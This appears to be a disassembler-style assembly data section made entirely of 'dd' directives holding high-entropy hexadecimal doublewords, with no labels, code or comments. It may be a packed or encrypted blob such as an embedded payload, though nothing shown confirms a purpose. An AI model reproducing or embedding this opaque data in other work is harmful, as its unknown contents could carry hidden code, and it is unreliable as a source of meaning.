dd 25908091h, 74012B7Dh, 7BB0508h, 846FFD31h, 0E81EAB88h
dd 292BEC42h, 0C02C1FAh, 6302BF01h, 75615AD0h, 8404D164h
dd 44BD1C2Fh, 0AB58E748h, 0C14BA20Ah, 9928041Dh, 493FB712h
dd 56BC51C0h, 490A4C2Ch, 0E972A44Ah, 9BB1E1FAh, 50807CA4h
dd 35716857h, 5F5102A0h, 0F9E9F787h, 2C3B6FF6h, 0CD036AD5h
dd 0EA79D02Eh, 939DF84Ch, 0AAE9E2BBh, 0F61DCFDEh, 5552C9ADh
dd 0CF403976h, 0A45B57Bh, 71278F1Dh, 0DCE9E2C0h, 0E6969DD6h
dd 710B5B6h, 0D80113F2h, 106D5C05h, 4C231E88h, 89DFD8CFh
dd 12762EE2h, 0EC80F060h, 8892B022h, 1333BEE5h, 404A451Eh
dd 1B91F6ABh, 0CC12C44h, 77167B21h, 55AB730h, 0E96D060Ch
dd 0B951921Eh, 23CFB5C0h, 909CBCF4h, 981A292Ch, 0D69A5F5Ah
dd 8B5D09F5h, 0DA265E89h, 47CA8419h, 0B8506B61h, 7394F98h
dd 0A0888D81h, 812E2649h, 259B763Fh, 0D964208Ch, 80AF00B5h
dd 3B30E4C6h, 0C51D5AF5h, 0E9EB8511h, 70BAB132h, 5B7C669Ah
dd 0A94EC37Ch, 58F417F4h, 0B7C0C065h, 86DFF690h, 0DA60D774h
dd 0FE536608h, 0D301FE4Ch, 3D1BAC42h, 2F445CCFh, 95504411h
dd 0A1658F8Fh, 7F3DBF39h, 0D5D245FDh, 4987C90h, 55D697Bh
dd 0B62265C2h, 0F901C490h, 0C8BF0757h, 0D20C7208h, 58042894h
dd 0D2A4EBF8h, 324252D7h, 0DBDE8D41h, 0D344C2CAh, 144ACCF8h
dd 58563BA0h, 0C102A5AAh, 55694F5Ch, 8A024D6h, 0ABB35A4Ah
dd 21C4512Dh, 3FD90C5Bh, 0BFC9C53Bh, 6A09E865h, 0FC6742FBh
dd 2D1C21DCh, 6816F766h, 7CF321A7h, 0D269F101h, 20EFC116h
dd 0DD9CC702h, 910312B2h, 5DAD8B3h, 0E178255h, 565D5401h
dd 2FBEF9h, 3951BB5Ch, 73F43F01h, 0D10E409Ch, 0B883E6EAh
dd 8ED2655h, 0B3221323h, 15E41393h, 18C49CBCh, 6D1D8288h
dd 0C103A45Ah, 5A821483h, 260E0449h, 8403A079h, 0B82CBA68h
dd 0E9D01721h, 0F4A4C565h, 97C24908h, 6008E5C1h, 17B83C4Bh
dd 0A04D9074h, 0C90CCD0Dh, 1E2AC64Ch, 0EAFA03C0h, 1A8EE98Fh
dd 51503A01h, 8745E868h, 0E7EE868h, 0D55A14C2h, 0D0D770AEh
dd 6E63133Bh, 0B1487161h, 4DE13A69h, 2E76970h, 0E90F4A2Ch
dd 0A5923FC9h, 0DF584774h, 0BBC082E5h, 3D2E546Ch, 0F681C35Ah
dd 0E5DEAB9Fh, 0B2E3052Ah, 1EB152EAh, 0B03F13E7h, 0D39C5940h
dd 2D1CBD60h, 966A650Bh, 0E9060018h, 32F91E71h, 0C1CF0150h
dd 52EA08A3h, 5B02F558h, 0DDBCC405h, 2625DC4Dh, 0E0E893DBh
dd 0E67A88A1h, 9E6031F0h, 3E2C07Bh, 67F22C80h, 0F22D19ADh
dd 504F8249h, 82286AB0h, 293B95F4h, 47B74270h, 0C7D92D4Ah
dd 1A6AAB85h, 9CFA205h, 683C3CABh, 5113B225h, 0B89AB432h
dd 2BE0DE3Ah, 3522311Eh, 975605BEh, 51214017h, 33053CB9h
dd 90543E7Eh, 0D909298Eh, 0EC11885Bh, 0CB96EA11h, 0BD00526Ch
dd 168B0AD0h, 9CC063BDh, 12921981h, 9877668h, 9457A4C0h
dd 64C1817Bh, 0F9F601D8h, 5A4D8262h, 4A99F396h, 0E912B8B3h
dd 0B465614h, 38E2CC42h, 9C519CD5h, 60D1253Dh, 92D06C2h
dd 0F32A31C0h, 0CA48969Ah, 3AF2007Eh, 0F7059C33h, 4EE973D2h
dd 0D16E21A7h, 55E940EEh, 56055F3Bh, 4117E946h, 62C4CBA8h
dd 4AC00D1h, 0FB75371h, 44F78072h, 0E2E9BC4h, 0D147CA51h
dd 1143B981h, 0EDE96624h, 18F1E3ACh, 65B02D41h, 4097B22Fh
dd 80F9BCD1h, 0BFEE5B54h, 0E28A0A95h, 2B17B10Fh, 81EA20E5h
dd 93B0FF1h, 0C8293557h, 0C9402993h, 671393ACh, 2A0C316Ch
dd 0A0C8C31Eh, 1FFEEB82h, 8939473Ah, 237E4A77h, 6FDA36BEh
dd 5C1640F6h, 51575317h, 0C29ADEE2h, 3313125Ch, 37494E81h
dd 95D4C204h, 0D2FC5409h, 1912F8Bh, 0D7A82CDEh, 0DA39A0D2h
dd 5BD83038h, 231382D4h, 2C2A427Eh, 0CF0984BDh, 80861CCBh
dd 693CE780h, 0F4585D36h, 0E92BCC4Bh, 51147532h, 0D21EE0DAh
dd 13F52856h, 0AC6E54B5h, 10594F66h, 5F70EF04h, 0A1CC06D8h
dd 0B70F2094h, 78FD300Dh, 82962636h, 0B4FC8910h, 595A5882h
dd 1F4A416Ch, 0FD36D6D6h, 205A0D2Bh, 0D1F0F5FEh, 0C9F9151h
dd 5889C8B1h, 839F0BB7h, 0D11E88D3h, 0B8F4505Dh, 0E9251882h
dd 815F6FD5h, 1FE7EF01h, 0FA895E63h, 896E01E5h, 70306E25h
dd 49468D1Dh, 0F60F754Eh, 23098EFEh, 6D31CA8Dh, 9A278Eh
dd 0FDB0902h, 0FC702785h, 22208925h, 815CF9DDh, 0D402E962h
dd 5C527C3h, 0C548022Dh, 36BA5539h, 9C100455h, 0A82517AEh
dd 0EC87B2FDh, 9205A025h, 0B4D7483Dh, 1E3E1910h, 87B25068h
dd 1C03507Ah, 0CF65ED80h, 0A86C76C2h, 0CC9D5421h, 0B88398D5h
dd 0EAE5BCDCh, 0E3021760h, 43E909D9h, 0C15729Eh, 3A6C383Fh
dd 650B760Ch, 7017B30h, 7C4B4810h, 0CA5C72B9h, 0EA89508h
dd 3EFC166h, 9CFDA72Ah, 0FD42458h, 8A5D404h, 8E813749h
dd 0ED5AC349h, 2830340Bh, 0C96206C7h, 0C606A171h, 308D9C7Ah
dd 0F4E59F5Eh, 1F911D20h, 7D40D07Dh, 8927A0DDh, 313FD296h
dd 6534A5E8h, 0C5A017DEh, 927AF84Ah, 0C4208E8Dh, 0D18688Bh
dd 0B4AA641Dh, 585AC6EFh, 8FC19C4h, 5529A35Ah, 0C13B220Dh
dd 43166852h, 85CB4D93h, 0B9B1907Bh, 36613835h, 2157790Ch
dd 0BA0A3920h, 9C9D9AD5h, 5A5462A9h, 5CC5CCD3h, 85810A24h
dd 758510E9h, 0AD0A4A68h, 0F5A697E5h, 34419912h, 0B6DAC276h
dd 42C3D84Ah, 93520FD4h, 0DDF7E417h, 0C0DA2A7Bh, 528837F5h
dd 0F028B45Bh, 0CD012998h, 6A40ED81h, 0EC30329Dh, 1BDA0FEAh
dd 0B4FD688Fh, 0E90803BAh, 0E5241911h, 654F55EBh, 61520EFEh
dd 0EEB0FC05h, 211761B7h, 5ECBF947h, 6809EF8Bh, 6AC51132h
dd 0F0715E16h, 2801DBABh, 7B8231F0h, 0F988D581h, 0C4C45338h
dd 920AE327h, 78E0A112h, 4A6E0BB9h, 648FD0E0h, 93D71D84h
dd 0BC03EB47h, 1A38A4F3h, 6D0C0067h, 89414736h, 57005BDDh
dd 930CEE68h, 964AE90Ah, 495E1305h, 294557Ch, 7D4AE482h
dd 0C61A0B5Dh, 200992DEh, 6CB7B308h, 917F3456h, 0C54AB816h
dd 0F361F828h, 356EC330h, 25300896h, 482560ACh, 58262E35h
dd 0F600C3C8h, 0AC5A6207h, 0E8B8F501h, 5422E34Bh, 2221C145h
dd 0A1934D2Ch, 0F7F9CCC1h, 1308D76Ch, 58C89F58h, 42D39337h
dd 0CB299530h, 976EB559h, 0E93A3109h, 2E1B044Ch, 3BF85B09h
dd 29F31A9Dh, 0D5EF878Ah, 813D3400h, 13DFB0CBh, 44B1C95h
dd 0A8B16F0Dh, 6664C285h, 0E591C089h, 51AC090h, 4F931FB0h
dd 780B01EAh, 0FE21255Fh, 0E7340B4Bh, 0E5C295CAh, 79EB9CF6h
dd 17C4A6F0h, 0BB40245Bh, 0F2F87012h, 0C7A5C2A4h, 2849B400h
dd 3FBFB0E7h, 4F7B252h, 0FA885AD7h, 0F10AF5Bh, 0FE14ACFh
dd 0A035D242h, 0BD2DD8D6h, 9F492525h, 34BE7BD0h, 16C9BA50h
dd 389C42h, 98646318h, 78BC0168h, 0F1BA0820h, 79028625h
dd 9395BEC0h, 5873271Bh, 972008E2h, 0C9B52CFEh, 2E64D1F1h
dd 1FD94B87h, 0A20ED779h
dd 38FE8445h, 0C5830012h, 114946A4h, 17B242F8h, 0AF986662h
dd 59AA7204h, 91513FDCh, 0F624136Fh, 0D4292431h, 83D67E8Dh
dd 665C108Dh, 83BAD0B5h, 0F25A86E1h, 170A23F8h, 0F75DCBCAh
dd 927F7D16h, 8AC08331h, 694C231h, 0B84A06D0h, 0F5E9160Eh
dd 0A5B7EB44h, 0BD929C7h, 0C9E874B1h, 0A52C3900h, 9B57CE9h
dd 818B59A9h, 0CF800BB7h, 46EFCC1Ah, 79D36814h, 0DFB6CFB5h
dd 28A7F640h, 0D2B4E9F7h, 9722AB59h, 9296EB4Eh, 606C5577h
dd 4102CAB5h, 476B1EADh, 3328C119h, 0A12B450h, 2D0058E3h
dd 80C9FE95h, 26D860F1h, 0C63DE9DAh, 0F09D7792h, 25700BE4h
dd 5F5BD801h, 7077E909h, 0AD662892h, 68D80A91h, 0BE631267h
dd 419B2FF9h, 0C020B0FBh, 0E3E4EA4Ah, 570F40A8h, 65DCBF07h
dd 0A1B244E8h, 0A62EFEC7h, 11361942h, 78422452h, 0DD30465Ah
dd 64B712B2h, 249960Dh, 4402C183h, 0F870E107h, 0D0A95B29h
dd 0C01E6611h, 0DF0C1D60h, 0BF775E06h, 2F2D9361h, 0D0946E94h
dd 4E9537C1h, 0D641683Eh, 5660099Dh, 0F28FD16Fh, 0C9531E7h
dd 682A9809h, 0CD2E4A07h, 6D4F6B37h, 1BE829E9h, 0A43CC128h
dd 0D3B574h, 72B95143h, 8179364Eh, 1506E107h, 0A1697610h
dd 31F00EDDh, 0B601B730h, 54534290h, 58C93054h, 0B0CE95B0h
dd 0A68DE917h, 2705AEA9h, 0DC5FF84Fh, 435BEF23h, 2A6813DCh
dd 26685986h, 0E50DD388h, 0B6B495A2h, 58C71748h, 4EE97B8Ch
dd 0F8FC1649h, 8308D345h, 8DFC42ABh, 2F19DE09h, 68120394h
dd 18F36F7Ah, 86628B07h, 29C3D351h, 0DB226916h, 7AD80EA3h
dd 68005556h, 30A40D3Fh, 0CE8EC3E9h, 13D3AD30h, 0A4BAFCCBh
dd 1754D016h, 70CD0476h, 1A807481h, 5E4E0135h, 75C6C107h
dd 0F8B154E4h, 5840008Eh, 21CE8172h, 7869254Fh, 0B9CBC54Bh
dd 60324981h, 2E0177D3h, 0F389A2B7h, 167E72E9h, 0F481BD13h
dd 395EB880h, 26E9FA23h, 0A5B0D5AAh, 0F712AD90h, 8E5EC695h
dd 959420DCh, 75E7095h, 3B2FDD25h, 0B1A7D45Bh, 686F6089h
dd 980ECC2Dh, 254119AAh, 0FA5E4E9Dh, 5060698h, 83E73CD1h
dd 8481011Fh, 0EF2C58A9h, 10429301h, 0D5F47F88h, 28FDE65Ah
dd 0BC0BED81h, 0B5217E8h, 34522E8Eh, 482BF204h, 0DEC06279h
dd 0E8BD5502h, 3F292E76h, 0F0051260h, 0D30B6D25h, 0E171E901h
dd 0CC305A7Bh, 38CC9C25h, 9E7F55CCh, 0C131048Dh, 8014BB58h
dd 392409B1h, 0F70F898h, 0C151FDEh, 95F001C9h, 0F783494h
dd 0A0B0B8AFh, 808CA359h, 8117C2BFh, 0E8F8262Bh, 160A1450h
dd 0A81CB25Fh, 5066562h, 3FED0A16h, 6FE6E91Ah, 5C2AA55Ah
dd 0E304FF20h, 0FD014E7h, 4D1989BCh, 30906DA1h, 4F7B3BF1h
dd 1BBB04FAh, 2903C92Fh, 0A6632B19h, 5DB71348h, 83412C1h
dd 0E228C9D3h, 575EBE0Fh, 0ACF26461h, 176CBBC8h, 0C51E86F9h
dd 1D16EB9Eh, 0F8D2F1ADh, 0FF66A124h, 0D8E4D6Eh, 58013C77h
dd 149E1952h, 9DA6C293h, 0AC58A534h, 9DB100BDh, 0A872E668h
dd 0B016B272h, 86130681h, 8D2F6D1h, 0C0EC8050h, 1167BE5h
dd 1CAF0984h, 0C8FEC0Ch, 0C6CFBAE4h, 8552C0Fh, 0B9F4641Ch
dd 68C22AB8h, 0D87E10F7h, 28315D69h, 33A2281Eh, 7B8AF228h
dd 0D0823006h, 35AFCE5Dh, 9F6F072h, 8C52405Ah, 0F80EF01h
dd 5BF51791h, 414076Fh, 0F1CC75BAh, 43263ED2h, 4A58B00Bh
dd 0F15A74AFh, 80CB2A94h, 680B9C49h, 4366305Fh, 4BD068F9h
dd 0A01270F6h, 0C4DCE898h, 259903B9h, 0FF40DC39h, 58041265h
dd 4112AD45h, 1132F808h, 0A730063Eh, 0EB0AD35Ah, 0EC8488CBh
dd 3906D264h, 7E98E95h, 5101BFC7h, 0DD62B36Fh, 0E32C1612h
dd 0B3530700h, 2ED3F622h, 1C7BCBFEh, 0CFBDFA39h, 0F305DB3Ch
dd 9053E9C2h, 69B70505h, 8744833Ah, 7F980837h, 2EE9F0D1h
dd 0AC5801F7h, 0D828742Ch, 0C3F63851h, 1C93B3E9h, 0E5DF691h
dd 0EEC73D02h, 0F2874074h, 0F74D8957h, 9F285F9Dh, 2F621635h
dd 0C5120966h, 19D1ED6h, 0A0D5E98Bh, 0C456B939h, 7CAC7DC1h
dd 1E72FCDh, 0D0242952h, 92121FEFh, 68450B5Eh, 0DC497CA9h
dd 516E2010h, 2FB0F1B5h, 927A3036h, 4441B6FEh, 0FA1BC20h
dd 423E4F34h, 0D55A9194h, 1C460006h, 81504766h, 7261C107h
dd 0A06C7D94h, 933D30D6h, 0DB0EDC18h, 0CA890709h, 308EF659h
dd 4C2DA73Ch, 4CB96C48h, 1E10767h, 4BF1670h, 62EF34CEh
dd 994AD55Fh, 233E3BC1h, 71924C31h, 37596413h, 6C4B981Dh
dd 817FF6F4h, 3A0297EFh, 6C807E40h, 673963C2h, 0C29F1A3Ch
dd 34C00DA0h, 0FF732267h, 0EAF2014Eh, 0B15A56CCh, 69296A1Ch
dd 6FB97C97h, 7C47E54Fh, 0F8731045h, 0FF174650h, 881B8104h
dd 7814FD02h, 10BB00CFh, 89039D6Eh, 0D45B7BD8h, 0DC055A06h
dd 0C655C627h, 880A27Ch, 0CCB2D8E9h, 7D0ECC9Fh, 0A5FA24CBh
dd 5AD18B6Fh, 64C94ED4h, 0EF6648F6h, 6DE98706h, 5A7C3089h
dd 0DE027AF1h, 5C76C680h, 0DDA4C6F3h, 7C12B080h, 4028B125h
dd 81B0F6A3h, 72A52052h, 0F2DA8832h, 12D45474h, 0AEE004Ah
dd 57283176h, 5CFAB4C0h, 0E8BF151Ah, 86A8515Ah, 17F6CB6Fh
dd 70E08CE9h, 60380FBEh, 0E55C7F57h, 932908h, 790A6BC2h
dd 62FF2142h, 0F15A2F82h, 0EBE9D06Ah, 0BDC28860h, 7AF52C19h
dd 308F491Ah, 0F6E6624h, 15495EB2h, 0E0C079A9h, 737B5027h
dd 3AF47E2Dh, 685A4858h, 0E6374E8Dh, 0AD531299h, 2712A013h
dd 0F452EF49h, 0AF7F4FF0h, 2050E80Bh, 63BB5303h, 0F2210D54h
dd 2F117C9Dh, 0E8299898h, 28C47B97h, 25299E9Fh, 0D38B10E5h
dd 45B1E989h, 0E3022479h, 6851AC0h, 0FAE80401h, 0BEAA870h
dd 505E3ED0h, 42C259E1h, 56D95B08h, 21FF6861h, 0BE1E352Bh
dd 7FE9F347h, 97185B59h, 716095Eh, 2A02357Eh, 5D522532h
dd 2BFAE399h, 1EF1EB4h, 857E588Eh, 0CC5FF931h, 682559C8h
dd 0C0CCD6C3h, 5BF2253Ah, 0CB309490h, 8EEE3A6h, 808C6310h
dd 73B8D3CEh, 0E9175769h, 0B9BCC09Ch, 6CEA5DA3h, 0BA94BBD0h
dd 0F30CDB84h, 0C7C3DAC0h, 20CD3F95h, 653C035Ch, 67BF5A40h
dd 5E1AAD8Fh, 9EFEEE29h, 0B3314C7Bh, 317C348Bh, 4FA07927h
dd 0C8EADDC4h, 0D27FF7E6h, 427AECE9h, 0A3B954CAh, 0F1D90143h
dd 0E5305929h, 8034C7FDh, 809CFC2h, 0AD4873F0h, 8CA54F36h
dd 3898842Ah, 3324E954h, 52978FC2h, 5E36C209h, 95007286h
dd 9E78C885h, 0E9D9891Fh, 21B3DB96h, 0A30EE413h, 66AA126Fh
dd 0F6784E04h, 901EA4h, 2527D769h, 20C70E0Fh, 6308BB5h
dd 824FA472h, 200BE4B2h, 4A908702h, 2D9CB748h, 8121E089h
dd 921BDDE0h, 2993816Ah, 9F6720F2h, 74B72012h, 86E1F606h
dd 0F90F9D1Ch, 0AF3DB104h, 0B57CC48Ch, 0F21E8DEAh, 85BA959Fh
dd 0E19FE95Ch, 0D7C46BE1h, 46A8C882h, 4813983Ah, 938761B0h
dd 31E84044h, 9245EF2h, 0F6008CD6h, 9A7E5B68h, 448949E9h
dd 0F1F38717h, 0D881D104h, 6D056C28h, 0E21EE9A5h, 7FB29952h
dd 9BFAA84h, 5BAE552Dh, 0C46ECBA7h, 2810AA10h, 25904807h
dd 757130C1h, 63599E13h, 59102BAFh, 0F458A79Eh, 0B77D45Fh
dd 885CAFC0h, 25A3C52Dh, 29E94C90h, 0B9A8A09Dh, 76EA1FDDh
dd 82F6AA64h, 0B3ABC469h, 0F15C5A23h, 633671h, 6166B7B8h
dd 5C28BF49h, 31044A46h, 0FD2958C7h, 0FEF2C401h, 727D6800h
dd 2DE4455Dh, 0A3E25A95h, 77D5FE1Eh, 0C04273D3h, 80C7B30Eh
dd 0C3E6EFCBh, 0A4A24CB8h, 51174A64h, 0C3A95954h, 5126E9A1h
dd 0DCD2F69Ah, 56CACA51h
dd 9A0B8458h, 4B2FC82Eh, 40DB1272h, 2A5CE121h, 60506E9Fh
dd 0C45D8246h, 2F7E9075h, 96E490E1h, 0A3B25F50h, 752C39h
dd 72F18149h, 0CE7B5D40h, 8BC6B0B6h, 0C001838h, 9DDF2B5h
dd 185259CFh, 6D1F7968h, 71B6FD64h, 92FBBE0h, 13C1746h
dd 9C4C24DFh, 0A000F716h, 215A4BA5h, 0BE8EE9F8h, 3F9E27C4h
dd 4AAC10BCh, 0A8607425h, 0C2E44408h, 2B176209h, 5626004h
dd 7E640B35h, 27D25E13h, 232568E8h, 0C4C5120h, 0B74084E4h
dd 0FD88D217h, 0BDFB6605h, 0EEF74Bh, 0A146E56h, 0DFF7303Eh
dd 1E3B59B8h, 0D6BCFCC9h, 2F272BCBh, 1C41B960h, 26EFC3C0h
dd 0B542F832h, 805AECAh, 2614B65Bh, 0B80A8652h, 0F65AE940h
dd 0A90596A1h, 5B5917ACh, 61AD9484h, 38C2E9B1h, 45D04F14h
dd 61563CB8h, 0A9C84C6Ch, 0C0EAAD93h, 822460B2h, 54B5C71h
dd 20FA9A26h, 0C365C8D6h, 28714C48h, 5B4A07F1h, 0F60CDFC9h
dd 3A500F3h, 0BD553862h, 0E70447F1h, 2859E977h, 3F1A8BABh
dd 179426D6h, 56F79EBBh, 0D61A3C0Bh, 29457A53h, 0BB20E3A0h
dd 0EAC10BD9h, 69A0F702h, 0ACA01F0Eh, 7609AC90h, 8052544Bh
dd 953F949Ah, 0EAEBEC1Ch, 0E8AF0459h, 805BDA09h, 9C5C9B93h
dd 0C901717Fh, 3F5F7228h, 172AD9E9h, 0E4D9E57Dh, 0B7D3B897h
dd 0A813D8E8h, 0B44C2838h, 0F4806B09h, 0B8B8553h, 0E34BEAECh
dd 31054B90h, 28EC1362h, 0C65BBC98h, 322BC48h, 284AD7C1h
dd 0E9D1F92Ah, 0C22EF13Eh, 3ED8B05Fh, 4F41820Dh, 0A0B82821h
dd 5CD5B151h, 800B0CC0h, 2A04EAC9h, 0D236B4BBh, 46E64C12h
dd 492F4BECh, 941CC05Ah, 0CB78A7Dh, 192D4571h, 802ED075h
dd 1E983BAh, 8741CEEBh, 0ADA2BCD1h, 0B110081Dh, 8264C2A5h
dd 0C8EE153Ah, 345FFE82h, 72CF101h, 81F55Dh, 0E7C059EFh
dd 0F73E0579h, 33C71274h, 4F0FE8B0h, 0E27074CCh, 18B7D06Dh
dd 0EE2DDA8Bh, 6A0B149Fh, 0D640B708h, 72AB59B6h, 0FC4AC0C4h
dd 4D50C4C2h, 232BEF14h, 0C05A25ECh, 9D054040h, 15B88690h
dd 0B5DD6082h, 30DF3D3Bh, 3B9A4990h, 0FC68165Ah, 0E2E7C6E8h
dd 937F8E92h, 40E79AFEh, 6BC595h, 0E2C167EEh, 20F28103h
dd 3FE55D16h, 633E05ECh, 14F63CA5h, 1EC48945h, 518B6DB2h
dd 0A434204h, 1508D229h, 97E281F6h, 9C69542Ch, 45270154h
dd 66E984B3h, 0C9A7B8A7h, 9BB2EB6h, 0E444DCC3h, 33680205h
dd 610CDC58h, 0EBE73021h, 0E879FE9Ah, 28897208h, 68D645Fh
dd 0D05EB82Dh, 14307C85h, 11EAD6E1h, 88BD515Eh, 34F1A8D9h
dd 42DA142Ah, 0EEC6D230h, 0EC5BC81Dh, 0ADB86C57h, 0C451AD4Ah
dd 5330435Ah, 9C25E955h, 0D6716AE3h, 12611DF0h, 836D1464h
dd 5E15FC40h, 0A27BC7EDh, 94F5B5EBh, 37062006h, 8859BCA0h
dd 0FA06CC6Dh, 40606842h, 1E500471h, 8184B551h, 0A0E902EDh
dd 935D2E0Ah, 0DB524DD7h, 52692101h, 0EED81AB6h, 41A9FCEFh
dd 9EC23A02h, 62C94229h, 50CC5F04h, 24449B1h, 72A6A59h
dd 6697265Dh, 16780428h, 0D4F60095h, 4E4C0h, 0EC80CCFEh
dd 58E628EEh, 0B450660Bh, 2D3705E0h, 397BF345h, 0BA8734AFh
dd 8D27B1CFh, 2FEC80Ch, 0CFF65328h, 8B5B0128h, 0FA08C902h
dd 0F53640E9h, 42B7CA14h, 1AA38E97h, 0ADC4EDB3h, 8B638ED9h
dd 0E1394BA2h, 2F84C9B4h, 4E53FCCCh, 0EB9C9108h, 8A446E85h
dd 46B9860Ch, 46082CC8h, 0F3880EEBh, 2126D84Fh, 0C7018D1Eh
dd 7FDE7350h, 8E7F7C01h, 27FE586Ch, 83F89480h, 0ED30F1E7h
dd 22747989h, 21627B5Ch, 2047AC7h, 4E48171Bh, 2362FD01h
dd 0C5C4044Bh, 0CCB88043h, 0E648C125h, 33EE1C97h, 0E91CE041h
dd 44AF99BEh, 551CF358h, 0F9EC5D57h, 0A46F1482h, 0E938226h
dd 6513FE29h, 3C51A1C9h, 0B7EA194Bh, 8C2F48A5h, 0BABC529Ah
dd 1CF1800Fh, 2CDC1C8h, 59CA8867h, 5FA82AFFh, 3761EA20h
dd 0E0B252D3h, 0A128B54Ch, 0FFCE8ADEh, 54257615h, 0B95B1259h
dd 0A9A71B33h, 3049AA9Dh, 480F3DBAh, 9E97B10h, 44E852D7h
dd 0EF5C2984h, 0BBF54F60h, 0B25D1092h, 0F8218531h, 0B22ACEF5h
dd 950E2013h, 6697F614h, 706BED75h, 0EE51E93Dh, 0F7174893h
dd 9D871AB0h, 0C4240DB2h, 660A90C6h, 124CE6B9h, 4E11A81h
dd 496BF008h, 0E04E4FFCh, 0C34A292Ch, 68096FCAh, 2E196B37h
dd 2C117153h, 0A94224DDh, 0C51D4B03h, 0DC4AE17Ch, 0A7BAD251h
dd 0F62AE0CCh, 722155A2h, 4503F838h, 11B85AF7h, 2A03FC81h
dd 8A4023C3h, 4830C42Dh, 8420AD48h, 3501CC9Ah, 4CAC7C41h
dd 447EF668h, 32D5D73h, 993BBFB8h, 0E02E486Bh, 9B1797F8h
dd 8E48C75h, 4D7F0EEFh, 40DE5EE2h, 545057F0h, 0E794D7F7h
dd 95B90B3Dh, 0BB7F02D4h, 6F7656FBh, 0FFE00344h, 8C4D942h
dd 0F34C40F4h, 0E5C180A6h, 0ED81021Ch, 0DAD7F83h, 1CEC0545h
dd 83920EBEh, 0A93E32AFh, 0FEB0F296h, 503795Eh, 9909CA80h
dd 0E22F1DF2h, 0F5B25E19h, 0B8D3E98Fh, 29294BB1h, 10A2CE3Bh
dd 0CC4A86B8h, 0BB7B53CDh, 4D385D02h, 572AE94Bh, 74DFF827h
dd 0BBB7A033h, 2A6F7B6h, 0B21ECB10h, 0B2D31223h, 0C7659303h
dd 271320B6h, 7846E2DAh, 0F3E7BF2Dh, 967427B7h, 0E6C0819Fh
dd 2916C63Dh, 8A8D0D9h, 630BB14Ah, 239C1209h, 89629F8h
dd 0CB28BEFDh, 0AF4CC60Fh, 9B05D679h, 0CF0CDDF7h, 2070603h
dd 0E09EC581h, 8BDDF1AAh, 8767613Ah, 0C56801CEh, 962C6C2Ah
dd 4486CCBCh, 0CD06A984h, 643D62E1h, 5CB4074Eh, 39D106E5h
dd 23A1657h, 36E43CB3h, 6457F509h, 0A383B551h, 0D016AC31h
dd 2E588B2h, 0D61D78DCh, 0CDABE1DFh, 665C0036h, 43C5AD3h
dd 0B7D8C76h, 6812E04Fh, 0B1A15B90h, 0C8096FCAh, 896F02A5h
dd 8AEAF4EBh, 40B6E058h, 76A036DEh, 12FB62F5h, 67BD11D5h
dd 0F6D669D1h, 15A80092h, 0EFE95D6Ah, 959297ABh, 0C5D07989h
dd 813090B7h, 55D8A66h, 32E85209h, 0F156E98Fh, 0EC8A2BDFh
dd 0B374F912h, 6F334E26h, 0DB251529h, 542F5228h, 0FD21E56Ch
dd 0B851964Fh, 0C6310FFEh, 81F85701h, 9C94F816h, 3D276828h
dd 0A5F94744h, 0FB691071h, 0EE6805ECh, 0E93D432Bh, 6725E2BDh
dd 0F6C152C3h, 0F60BA032h, 7FF5F7D2h, 1A30B43Bh, 3492F7B6h
dd 6F8731EFh, 2AB84D98h, 39B50E87h, 0F68EEE0h, 0C8CB2571h
dd 0CEA06345h, 14832089h, 3FF3B7E9h, 9ECFAA07h, 60F01589h
dd 36A6E9A2h, 2D286695h, 0D5A0D4DEh, 0F6FDF97Fh, 58C20106h
dd 2E225729h, 6F592D7Ch, 0B468D861h, 2556761Dh, 74348948h
dd 8C33799Ch, 16067829h, 0FBD2C531h, 6CB04503h, 113CF34Dh
dd 57180F5Bh, 0D1495AE1h, 7CF4F4EBh, 0AA5989Dh, 10C62614h
dd 7BE90E2Eh, 0A5E95257h, 243C6E36h, 0D2BE5A6Eh, 92284FA6h
dd 6CF8898Bh, 7BBA2027h, 0CB814B01h, 1ED64955h, 9F7CBCF0h
dd 633CDB24h, 0BC3D4A58h, 0F9C4A462h, 0C780E440h, 7B05088h
dd 0FE012C8Ah, 0E830F2C0h, 56F490D7h, 367202BEh, 0DEF732E6h
dd 2C1F00DDh, 0A28B2977h, 533556EFh, 0B3D6C2EAh, 57EAB253h
dd 21E9CB48h, 0E468FFC5h, 5A92C25Eh, 9BEA5384h, 76E915D4h
dd 0B70F0086h, 0D46866C0h, 4EC0B447h, 8ED6215Ah, 0E908EA51h
dd 53C0495Fh, 900811B1h, 0FD622506h, 35B9B16Bh, 4C8B23D9h
dd 2D660C22h, 0FEB48B9h, 2CBF3528h, 595B5181h, 93697041h
dd 0B202141h, 646A1E5Eh, 9D95CA49h, 66FD40B7h, 987CB652h
dd 14E8DA2Fh, 0D5B0273Ch, 0A6AC8F67h, 544B2F44h, 0A45A1348h
dd 0B5EA65C6h, 256D7606h
dd 0C581FC2h, 1E40E912h, 544C2DB2h, 0F12A202Ah, 8F817AEDh
dd 5F496DC1h, 31BB055Ah, 305452A2h, 5080C53Dh, 19600568h
dd 0C2586ED0h, 0E1511B62h, 2C882B88h, 45EB009Ah, 29BA93F6h
dd 195B0BDh, 25109BF5h, 3BC205D4h, 3A52C0C8h, 390AB37Ah
dd 50E883CBh, 12D43CF2h, 0CDA55C15h, 162E0B93h, 8457E82Dh
dd 0FAEC59CAh, 29273643h, 0E102F9C8h, 0B9D85581h, 0B80CC0FAh
dd 63A9383Ah, 37B10D00h, 0FC2D5AC1h, 2CF73A5Bh, 0C9141C84h
dd 2C18C72Ah, 0D609F6F9h, 51173268h, 9CDF9A51h, 0CDA97A4Bh
dd 4626979h, 4763555Dh, 0B88FEAA2h, 327A6162h, 446E6940h
dd 9321CE26h, 6AD7E909h, 30D804EEh, 939F74BCh, 57E352B4h
dd 0DF77F28Bh, 0E2A6D7h, 4A1CBE02h, 67E910F6h, 303728A0h
dd 6D7D3C55h, 9F47E23Bh, 1900B10Bh, 6375D1C7h, 0F1E9350Ch
dd 9C5CDD7h, 783155Dh, 29672080h, 315C4417h, 0A4DB135Dh
dd 0CFBB3034h, 38681384h, 0D384F8h, 0AE75F80Fh, 8D012D17h
dd 0E916854Ch, 447FF5D1h, 0F9C0BAB9h, 2E20921h, 0FCEBC252h
dd 94C0994h, 9D861C77h, 2742CBDBh, 0E1CE5CCDh, 3E4E0768h
dd 286BEB99h, 0E5B16895h, 0C6850192h, 6A8F7DFAh, 8E85C602h
dd 685101DEh, 306F2514h, 60AB1D2Dh, 98B2F010h, 7DD8B904h
dd 5588332h, 2DDE10DCh, 513F9978h, 4065DF20h, 24CB2D6h
dd 9B423911h, 0C90C33CAh, 1931C32Ch, 2295DF43h, 0BA027C49h
